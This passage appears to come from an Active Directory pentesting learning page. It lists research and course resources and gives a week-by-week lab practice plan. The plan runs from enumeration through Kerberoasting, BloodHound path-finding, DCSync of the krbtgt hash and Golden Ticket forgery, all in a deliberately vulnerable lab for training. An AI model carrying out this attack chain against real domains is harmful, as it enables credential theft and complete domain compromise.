| SpecterOps Attack Research (specterops.io/blog) | Advanced | Original research behind many AD attacks: DCSync, Kerberoasting, ACL abuse, certificate abuse (ESC1-ESC8). Read the original papers. |
| Certified Red Team Professional (CRTP) — PentesterAcademy | Intermediate | The best AD red teaming certification. Course covers the full attack chain windowsAD implements. |
| The Cyber Mentor (TCM) — AD Pentesting course | Intermediate | Paid course with lab included. Covers real-world AD scenarios beyond the basics. |
Practice Path
## Week-by-week AD pentesting skill build
Week 1: Lab Setup + Enumeration
Setup: GOAD or VulnAD in your lab (lab-setup.html)
Run: windowsAD assess operation — read every finding
Study: what each LDAP attribute means (thehacker.recipes/ad/enumeration)
Week 2: Credential Attacks
Run: windowsAD kerberoast — try to crack the TGS hashes
Run: asreproast — find pre-auth disabled accounts
Manual: replicate with GetUserSPNs.py and GetNPUsers.py directly
Week 3: Lateral Movement
Get a low-priv shell on any machine in GOAD
Run: windowsAD assess to enumerate from inside the domain
Use: BloodHound to find attack path to Domain Admin
Execute: the path manually + with windowsAD
Week 4: Domain Dominance
Perform: DCSync to dump krbtgt hash
Forge: a Golden Ticket
Verify: you can access any machine in the domain with the ticket
Document: the full attack chain (this is your penetration test report)